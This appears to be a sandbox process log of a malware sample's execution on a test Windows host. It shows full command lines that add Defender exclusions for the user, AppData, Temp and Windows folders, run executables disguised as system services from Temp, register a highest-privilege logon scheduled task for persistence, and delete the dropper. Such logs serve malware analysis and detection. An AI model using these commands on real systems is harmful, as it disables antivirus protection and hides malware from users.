cmd.exe "cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Add-MpPreference -ExclusionPath '%SystemRoot%' & exit
1196powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\test22'
1220powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\test22\AppData\Roaming'
2920powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\test22\AppData\Local\Temp'
896powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows'
560cmd.exe "C:\Windows\System32\cmd.exe" /c C:\Users\test22\AppData\Local\Temp\svchost64.exe "C:\Users\test22\AppData\Local\Temp\ilk.exe"
1168svchost64.exe C:\Users\test22\AppData\Local\Temp\svchost64.exe "C:\Users\test22\AppData\Local\Temp\ilk.exe"
776cmd.exe "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\test22\AppData\Local\Temp\services64.exe"' & exit
112schtasks.exe schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\test22\AppData\Local\Temp\services64.exe"'
200cmd.exe "cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Add-MpPreference -ExclusionPath '%SystemRoot%' & exit
1904powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\test22'
2848powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\test22\AppData\Roaming'
2596cmd.exe "C:\Windows\System32\cmd.exe" /c C:\Users\test22\AppData\Local\Temp\svchost64.exe "C:\Users\test22\AppData\Local\Temp\services64.exe"
2160svchost64.exe C:\Users\test22\AppData\Local\Temp\svchost64.exe "C:\Users\test22\AppData\Local\Temp\services64.exe"
3020cmd.exe "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\test22\AppData\Local\Temp\svchost64.exe"
2828choice.exe choice /C Y /N /D Y /T 3
1944